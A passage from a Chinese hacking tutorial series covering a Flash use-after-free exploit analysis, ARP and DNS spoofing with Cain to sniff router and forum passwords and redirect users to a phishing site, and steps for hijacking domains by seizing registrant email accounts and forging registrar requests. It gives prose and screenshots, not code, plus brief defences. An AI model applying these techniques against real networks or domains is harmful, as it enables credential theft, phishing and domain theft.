黑帽百科|存在于黑与白的技术研讨(一) IT教程 第44张

为什么 domainMemory 仍引用未压缩的数据缓冲区?
在 AvmPlus 项目代码中,我们在 ByteArray::UncompressViaZlibVariant 函数中发现了漏洞所在。函数是
这样设计的:首先它会分配一个缓冲区来存储未经压缩的数据,如果解压缩成功,它会通知 domainMemory
使用新的缓冲区。如果解压缩失败,它将不通知 domainMemory 使用新缓冲区同时释放新申请的缓冲区。
这看上去是无可非议的,好戏还在后面。在解压缩的过程中,新分配的缓冲区会变大。类 Grower 控制缓冲
区的动态增长,增长结束后,类 Grower 的析构函数通知 domainMemory 使用扩展缓冲区。最终 domainMemory
在解压过程中使用了新的缓冲区,如果解压失败,新创建的缓冲区将被释放。这就打乱了原来
ByteArray::UncompressViaZlibVariant 的逻辑:解压缩失败,domainMemory 却使用了新的缓冲区。
这就是经过上面的步骤,domainMemory 指向填充 0xBBBBBBBB 的被释放内存空间的原因,到这一步,Exp 已
经可以通过使用内部指令来读写这块被释放的内存空间了。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第45张

与最近的大部分 Flash 漏洞利用代码类似,这个 Exp 通过控制内存布局将攻击向量置入被释放的内存并覆
盖攻击向量的长度标识,从而达到任意读取和写入内存的目的。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第46张

很明显,内存布局在解压缩过程中被改变了,向量长度也被覆盖(见下图)。在我的调试环境中,UAF 内存
地址为 0x05120000。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第47张

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第48张

攻击向量长度被覆写为 0x40000000 后,示例代码就能任意读写内存;此时的内存容量也足以执行任意代码
了。接下来 Exp 只需要触发一个伪造的虚函数即可完成全部利用过程。
1.11.3、dns 劫持之 cain
安装步骤略过,默认自动安装 WINPCAP,抓包都要用到的驱动程序

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第49张

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第50张

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第51张

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第52张

这样就实现了插入到网关和 client 之间了,攻击者的 IP 和 MAC 为
00-0C-29-1E-90-20 攻击者的 MAC
192.168.36.130 攻击者的 IP
255.255.255.0
192.168.36.2 网关
到 client 上面看看吧,输入 ARP -A 如图

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第53张

IP 没变,但是 MAC 变了,呵呵,被中间人插入了,然后所有的数据将由中间人,也就是攻击者转发,因为
事先部署了 sniffer,现在随便打开几个网页进行抓包分析,当然,因为是由中间人转发的,网速自然慢
下来了。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第54张

登录路由器。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第55张

登录百度空间

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第56张

这是捕获到的密码,测试了下,路由,百度和我常去的一个论坛的密码都很轻易的以明文格式被截获了。
126 以及淘宝阿里巴巴之类通过安全证书和 SSL 加密的也能捕获,但是捕获之后还需要解密。
下面试试 DNS 欺骗攻击,切换到 DNS 选项卡,输入要欺骗的网址,下面的 IP 地址是跳转的 IP,我填了本
地回环的 IP127

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第57张

看看对方的访问情况,

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第58张

无法访问了已经,上面的是要欺骗的网址,下面是要跳转的 IP,当用户访问 G。cn 的时候会被跳转到我事
先设置的 IP 上。如果本地搭建一个 IIS,做个简单的钓鱼网站就能很完美的实现钓鱼了。。。DNS 都在它
手里,鱼还想跑。。。
下面说说防治。。。
1.在 C 盘根目录的 autoexec.bat 中输入绑定 IP 和 MAC 到网关的命令以便实现开机自动绑定
2.在路由中绑定 MAC 和 IP
3.安装 ARP 防火墙或者网络防火墙
够简单吧。。我觉得这玩意最大的功能还是抓包和解密了,托了 ARP 攻击方式层出不穷的福,各大安全厂
商也开始看重 ARP 的防护了,此类老牌软件很难有什么作为了。但是并不是每个人都有足够的安全意识,
这是个问题。
另外,cain 在 WIN7 和 2008 平台也是有很大作为的,很轻易的抓取了 hash 之后交给彩虹表
进行破解。。。可惜彩虹表那玩意实在大的吓人,不完全版本的就 200 多 G 了,完整的估
计得按 T 级别算,不过确实解密的效率快了太多,用来破解区区一个 SAM 密码实在小菜。。。
1.12、域名劫持和网站跳转
域名劫持又称之为域名盗窃,不是什么新技术,关键步骤是如何获得域名的解析权限,我们有时间见
到 gov.cn 和 edu.cn 的域名被做成了灰色站,而这些站所在的服务器一般在国外,域名劫持的好处在于能
在短时间内借助域名本身、或者域名主体的权重,方便自己的优化排名。
域名劫持的步骤
1.获得要劫持的域名注册信息
攻击者会先访问网络解决方案公司 www.networksolutions.com,通过该公司主页面所提供的 MAKE
CHANGES 功能,输入要查询的域名,获得该域名注册信息以 abc.com 为例,我们将获得以下信息:
Registrant:
Capital Cities/ABC,Inc (ABC10-DOM)
77 W 66th St.
New York, NY 10023
US
Domain Name: ABC.COM
Administrative Contact, Billing Contact:
King, Thomas C. (SC3123-ORG) abc.legal.internet.registration@ABC.COM
ABC, Inc.
77 W 66th St.
New York, NY 10023
US
212-456-7012
Technical Contact, Zone Contact:
Domain Administrator (DA4894-ORG) dns-admin@STARWAVE.COM
Starwave Corporation
13810 SE Eastgate Way, ste. 400
Bellevue, WA 98005
US
206.664.4800
Fax- 206.664.4829
Record last updated on 11-Oct-2000.
Record expires on 23-May-2003.
Record created on 22-May-1996.
Database last updated on 20-Oct-2000 14:14:26 EDT.
Domain servers in listed order:
DNS1.STARWAVE.COM 204.202.132.51
T.NS.VERIO.NET 192.67.14.16
2.控制该管理域名的 E-MAIL 帐号
从上面获得的信息,攻击者可了解到 abc.com 的注册 DNS 服务器,管理域名的 E-MAIL 帐号,技术联系
E-MAIL 帐 号 等 等 注 册 资 料 , 攻 击 者 的 重 点 就 是 先 需 要 把 该 管 理 域 名 的 E-MAIL 帐 号
abc.legal.internet.registration@ABC.COM 控制,进行收发在网络解决方案公司 networksolutions 主页
所修改域名注册记录后的确认 E-MAIL,对该 E-MAIL 帐号的控制过程不排除攻击者对该 E-MAIL 帐号进行密
码暴力猜测,对该帐号所在 E-MAIL 服务器进行入侵攻击.
3.修改该域名在网络解决方案公司的注册信息
到这个时候,攻击者会使用网络解决方案公司 networksolutions 的 MAKE CHANGES 功能修改该域名的
注册信息,包括拥有者信息,DNS 服务器信息,等等。
4.冒充拥有者使用管理域名的 E-MAIL 帐号收发网络解决方案公司确认函
攻击者会在该管理域名 E-MAIL 帐号的真正拥有者收到网络解决方案公司确认函之前,把该 E-MAIL 帐
号的信件接收,使用该 E-MAIL 帐号回复网络解决方案公司进行确认,进行二次回复确认后,将收到网络解
决方案公司发来的成功修改注册记录函,攻击者成功劫持域名。
5.在新指定的 DNS 服务器加进该域名记录
在注册信息新指定 DNS 服务器里加进该域名的 PTR 记录,指向另一 IP 的服务器,通常那两台服务器都
是攻击者预先入侵控制的服务器,并不归攻击者所拥有。
域名劫持的几种方法
有几种不同的劫持方法,1 假扮域名注册人和域名注册商通信。2 是伪造域名注册人在注册商处的账
户信息,3.是伪造域名注册人的域名转移请求。4.是直接进行一次域名转移请求。5 是修改域名的 DNS 记

1.假扮域名注册人和域名注册商通信
这类域名盗窃包括使用伪造的传真,邮件等来修改域名注册信息,有时候,受害者公司的标识之类的
也会用上。增加可信度。
某网站被盗窃就是一次典型的例子。当时一名域名劫持者使得注册服务提供商相信了他的身份,然后
修改了该公司的域名管理员邮件信息。然后攻击者使用管理员邮件提交了密码重设请求。最后。攻击者登
录域名服务商。修改密码。更改 DNS 记录,然后指向自己的服务器。
2.是伪造域名注册人在注册商处的账户信息
攻击者伪造域名注册人的邮件和注册商联系。然后卖掉域名或者是让买家相信自己就是域名管理员。
然后可以获利
3.是伪造域名注册人的域名转移请求。
这类攻击通常是攻击者提交一个伪造的域名转让请求,来控制域名信息。
在 2001 年,攻击者向服务商提交了一封信。谎称原注册人已经被公司解雇,须将域名转移给自己,结
果他成功地控制了 sex.com 域名。最后被判了 6500 万美元罚款。
4. 是直接进行一次域名转移请求
这类攻击有可能改 dns,也有可能不改,如果不改的话。是很隐蔽的。但最终盗窃者的目的就是卖掉
域名,当时 blogtemplate4u.com 和 dhetemplate.com
两个域名是由美国一家公司通过 godaddy 注册管理的。结果某一天,一个盗窃者使用该公司管理员的
帐号密码登录到域名管理商,执行了转移请求。注意。他没有更改 dns 记录。域名在转移期间。一切服务
都没有受到影响。
5.是修改域名的 DNS 记录
未经授权的 DNS 配置更改导致 DNS 欺骗攻击。(也称作 DNS 缓存投毒攻击)。这里。数据被存入域名服
务器的缓存数据库里,域名会被解析成一个错误的 ip,或是解析到另一个 ip,典型的一次攻击是 1997 年
Eugene Kashpureff 黑阔通过该方法重定向了 InterNIC 网站

注:在使用本系统源码时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本站不承担使用者在使用过程中的任何违法行为负责。

参与评论